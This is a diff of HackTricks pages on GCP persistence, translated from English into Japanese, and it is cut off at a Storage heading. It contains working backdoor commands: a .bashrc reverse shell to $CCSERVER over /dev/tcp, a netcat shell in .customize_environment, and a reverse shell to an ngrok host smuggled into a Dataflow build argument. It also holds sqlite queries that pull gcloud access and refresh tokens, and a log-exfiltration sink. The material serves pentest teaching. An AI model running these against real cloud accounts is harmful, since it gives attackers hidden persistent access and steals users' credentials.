侵害されたユーザーや外部ユーザーに対して、データセット、テーブル、行、列へのさらなるアクセスを付与します。必要な権限とその方法については、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
For more info about Cloud Functions check:
|
||||
Cloud Functionsに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,12 +12,8 @@ For more info about Cloud Functions check:
|
||||
|
||||
### Persistence Techniques
|
||||
|
||||
- **Modify the code** of the Cloud Function, even just the `requirements.txt`
|
||||
- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
|
||||
- **Trigger** a Cloud Function when something happens to infect something
|
||||
- **Cloud Functionのコードを変更する**、たとえ`requirements.txt`だけでも
|
||||
- **誰でも**脆弱なCloud FunctionやバックドアのCloud Functionを呼び出せるようにする
|
||||
- **何かが起こったときに**Cloud Functionをトリガーして何かを感染させる
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,22 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Cloud Runに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdoored Revision
|
||||
### バックドア付きリビジョン
|
||||
|
||||
Create a new backdoored revision of a Run Service and split some traffic to it.
|
||||
Run Serviceの新しいバックドア付きリビジョンを作成し、一部のトラフィックをそれに分割します。
|
||||
|
||||
### Publicly Accessible Service
|
||||
### 公開アクセス可能なサービス
|
||||
|
||||
Make a Service publicly accessible
|
||||
サービスを公開アクセス可能にします。
|
||||
|
||||
### Backdoored Service or Job
|
||||
### バックドア付きサービスまたはジョブ
|
||||
|
||||
Create a backdoored Service or Job
|
||||
バックドア付きサービスまたはジョブを作成します。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,62 +12,52 @@ For more information check:
|
||||
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) は、関連するコストなしにブラウザから直接クラウドリソースへのコマンドラインアクセスを提供します。
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
**ウェブコンソール**から、または**`gcloud cloud-shell ssh`**を実行することでGoogleのCloud Shellにアクセスできます。
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
このコンソールには攻撃者にとって興味深い機能があります:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **Google Cloudにアクセスできる任意のGoogleユーザー**は、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウントも、組織のオーナーであってもアクセス可能です)。
|
||||
2. そのインスタンスは**活動がない場合、少なくとも120日間はホームディレクトリを維持します**。
|
||||
3. そのインスタンスの活動を**組織が監視する能力はありません**。
|
||||
|
||||
これは基本的に、攻撃者がユーザーのホームディレクトリにバックドアを設置でき、ユーザーが少なくとも120日ごとにGC Shellに接続する限り、バックドアは生き残り、攻撃者は実行するたびにシェルを取得できることを意味します。
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
ホームフォルダには、**`.customize_environment`** という別のファイルがあり、存在する場合はユーザーが **cloud shell** にアクセスするたびに **実行されます**(前の技術と同様に)。前のバックドアや、以下のようなものを挿入して、ユーザーが「頻繁に」cloud shell を使用している限り、持続性を維持します:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> **認証を必要とするアクションが最初に実行されるとき**、ユーザーのブラウザにポップアップ認証ウィンドウが表示されることに注意することが重要です。このウィンドウは、コマンドを実行する前に受け入れられなければなりません。予期しないポップアップが表示されると、疑念を引き起こし、使用されている永続性の方法が危険にさらされる可能性があります。
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
これは、クラウドシェルから `gcloud projects list` を実行したときのポップアップ(攻撃者として)で、ブラウザのユーザーセッションで表示されます:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
ただし、ユーザーがクラウドシェルを積極的に使用している場合、ポップアップは表示されず、**ユーザーのトークンを収集することができます**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### SSH接続の確立方法
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
基本的に、これらの3つのAPI呼び出しが使用されます:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ローカルで作成した公開鍵を追加します)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (インスタンスを起動します)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (Google Cloud ShellのIPを教えてくれます)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
さらに詳しい情報は、[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)で見つけることができます。
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,38 +4,34 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
Cloud SQLに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Expose the database and whitelist your IP address
|
||||
### データベースを公開し、IPアドレスをホワイトリストに追加する
|
||||
|
||||
A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
|
||||
For more information check the technique in:
|
||||
内部VPCからのみアクセス可能なデータベースは外部に公開でき、あなたのIPアドレスをホワイトリストに追加することでアクセスできます。\
|
||||
詳細情報は、以下のテクニックを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Create a new user / Update users password / Get password of a user
|
||||
### 新しいユーザーを作成する / ユーザーのパスワードを更新する / ユーザーのパスワードを取得する
|
||||
|
||||
To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
|
||||
Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
|
||||
Remember that **it's possible to list the users of a database** using GCP API.
|
||||
データベースに接続するには、**データベースによって公開されたポートへのアクセス**と**ユーザー名**、**パスワード**が**必要です**。十分な権限があれば、**新しいユーザーを作成**したり、既存のユーザーの**パスワードを更新**したりできます。\
|
||||
別のオプションは、いくつかのパスワードを試すことによって**ユーザーのパスワードをブルートフォースする**か、データベース内のユーザーの**ハッシュ化された**パスワードにアクセスしてそれを解読することです(可能な場合)。\
|
||||
**GCP APIを使用してデータベースのユーザーをリストすることが可能であることを忘れないでください**。
|
||||
|
||||
> [!NOTE]
|
||||
> You can create/update users using GCP API or from inside the databae if you have enough permissions.
|
||||
> 十分な権限があれば、GCP APIを使用するか、データベース内からユーザーを作成/更新できます。
|
||||
|
||||
For more information check the technique in:
|
||||
詳細情報は、以下のテクニックを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,19 @@
|
||||
# GCP - Compute Persistence
|
||||
# GCP - コンピュートの持続性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Compute
|
||||
## コンピュート
|
||||
|
||||
For more informatoin about Compute and VPC (Networking) check:
|
||||
コンピュートとVPC(ネットワーキング)に関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence abusing Instances & backups
|
||||
### インスタンスとバックアップの持続性の悪用
|
||||
|
||||
- Backdoor existing VMs
|
||||
- Backdoor disk images and snapshots creating new versions
|
||||
- Create new accessible instance with a privileged SA
|
||||
- 既存のVMにバックドアを仕掛ける
|
||||
- 新しいバージョンを作成するディスクイメージとスナップショットにバックドアを仕掛ける
|
||||
- 特権SAを持つ新しいアクセス可能なインスタンスを作成する
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Invisible persistence in built container
|
||||
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
### ビルドされたコンテナ内の見えない永続性
|
||||
|
||||
[**ドキュメントからのチュートリアル**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates)に従って、新しい(例:python)フレックステンプレートを作成できます:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -19,39 +18,32 @@ gcloud storage buckets create gs://$REPOSITORY
|
||||
# Create artifact storage
|
||||
export NAME_ARTIFACT=flex-example-python
|
||||
gcloud artifacts repositories create $NAME_ARTIFACT \
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
gcloud auth configure-docker us-central1-docker.pkg.dev
|
||||
|
||||
# Create template
|
||||
export NAME_TEMPLATE=flex-template
|
||||
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**ビルド中に、リバースシェルを取得します**(前の例のように環境変数やDockerファイルを実行するための他のパラメータを悪用することができます)。この時点で、リバースシェル内で**`/template`ディレクトリに移動し、実行されるメインのPythonスクリプトのコードを修正することが可能です(この例では`getting_started.py`です)**。ここにバックドアを設定しておくと、ジョブが実行されるたびにそれが実行されます。
|
||||
|
||||
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
|
||||
|
||||
Then, next time the job is executed, the compromised container built will be run:
|
||||
|
||||
次に、ジョブが実行されると、コンプロマイズされたコンテナが実行されます:
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
Filestoreに関する詳細情報は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give broader access and privileges over a mount
|
||||
### マウントに対するより広範なアクセスと権限を付与する
|
||||
|
||||
An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
|
||||
攻撃者は**自分自身により多くの権限を与え、共有へのアクセスを容易にする**ことで、共有に対する持続性を維持することができます。このアクションを実行する方法はこのページで確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logging
|
||||
## ロギング
|
||||
|
||||
Find more information about Logging in:
|
||||
ロギングに関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,14 +12,8 @@ Find more information about Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Create a sink to exfiltrate the logs to an attackers accessible destination:
|
||||
|
||||
攻撃者がアクセス可能な宛先にログを外部に送信するためのシンクを作成します:
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,74 +1,61 @@
|
||||
# GCP - Token Persistance
|
||||
# GCP - トークン持続性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
To get the **current token** of a user you can run:
|
||||
### 認証されたユーザートークン
|
||||
|
||||
ユーザーの**現在のトークン**を取得するには、次のコマンドを実行できます:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
|
||||
Check in this page how to **directly use this token using gcloud**:
|
||||
このページで**gcloudを使用してこのトークンを直接使用する方法**を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
{{#endref}}
|
||||
|
||||
To get the details to **generate a new access token** run:
|
||||
|
||||
**新しいアクセストークンを生成する**ための詳細を取得するには、次を実行します:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
**`$HOME/.config/gcloud/application_default_credentials.json`** および **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** にリフレッシュトークンを見つけることも可能です。
|
||||
|
||||
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
|
||||
|
||||
**リフレッシュトークン**、クライアントID、およびクライアントシークレットを使用して新しいアクセストークンを取得するには、次のコマンドを実行します:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
|
||||
リフレッシュトークンの有効性は **Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、期限が切れないように設定することもできます:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:
|
||||
|
||||
`gcloud auth login` のようなものを使用する際の認証フローは、ブラウザでプロンプトを開き、すべてのスコープを受け入れた後、ブラウザはツールによって開かれたhttpポートにこのようなリクエストを送信します:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
その後、gcloudは状態とコードを使用して、いくつかのハードコーディングされた `client_id` (`32555940559.apps.googleusercontent.com`) と **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) を使って **最終的なリフレッシュトークンデータ** を取得します。
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
|
||||
> localhostとの通信はHTTPで行われるため、リフレッシュトークンを取得するためにデータを傍受することが可能ですが、このデータは1回だけ有効であるため、無駄になります。ファイルからリフレッシュトークンを読む方が簡単です。
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
### OAuthスコープ
|
||||
|
||||
すべてのGoogleスコープは [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) で見つけることができます。または、次のコマンドを実行して取得できます:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
|
||||
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
|
||||
|
||||
このスクリプトを使用すると、**`gcloud`** が認証に使用するアプリケーションがサポートできるスコープを確認できます:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
After executing it it was checked that this app supports these scopes:
|
||||
|
||||
実行後、このアプリがこれらのスコープをサポートしていることが確認されました:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -78,31 +65,26 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
興味深いのは、このアプリが**`drive`**スコープをサポートしていることで、攻撃者がユーザーにこのスコープでトークンを生成させることに成功すれば、GCPからWorkspaceにエスカレートできる可能性があることです。
|
||||
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
**この方法を** [**ここで悪用する方法を確認してください**](../gcp-to-workspace-pivoting/#abusing-gcloud)**。**
|
||||
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
### サービスアカウント
|
||||
|
||||
### Service Accounts
|
||||
認証されたユーザーと同様に、サービスアカウントの**プライベートキーのファイルを侵害することができれば、通常は好きなだけ**アクセスすることができます。\
|
||||
しかし、サービスアカウントの**OAuthトークンを盗むことができれば、さらに興味深いことになります。デフォルトではこれらのトークンは通常1時間だけ有効ですが、**もし**被害者がプライベートAPIキーを削除した場合、OAuthトークンは期限が切れるまで有効です**。
|
||||
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.
|
||||
### メタデータ
|
||||
|
||||
### Metadata
|
||||
明らかに、GCP環境で実行されているマシン内にいる限り、**メタデータエンドポイントに連絡することで、そのマシンに付随するサービスアカウントにアクセスできます**(このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されていることに注意してください)。
|
||||
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
### 修正策
|
||||
|
||||
### Remediations
|
||||
これらの技術に対するいくつかの修正策は、[https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)で説明されています。
|
||||
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### References
|
||||
### 参考文献
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,23 +4,19 @@
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Find more information about Secret Manager in:
|
||||
Secret Managerに関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rotation misuse
|
||||
### 回転の悪用
|
||||
|
||||
An attacker could update the secret to:
|
||||
攻撃者は秘密を更新して以下を行うことができます:
|
||||
|
||||
- **Stop rotations** so the secret won't be modified
|
||||
- **Make rotations much less often** so the secret won't be modified
|
||||
- **Publish the rotation message to a different pub/sub**
|
||||
- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
|
||||
- **回転を停止**して秘密が変更されないようにする
|
||||
- **回転を非常に少なくする**ことで秘密が変更されないようにする
|
||||
- **回転メッセージを別のpub/subに公開する**
|
||||
- **実行される回転コードを変更する。** これは別のサービス、恐らくCloud Functionで発生するため、攻撃者はCloud Functionまたは他のサービスに対する特権アクセスが必要です。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Storage Persistence
|
||||
# GCP - ストレージの永続性
|
||||
|
||||
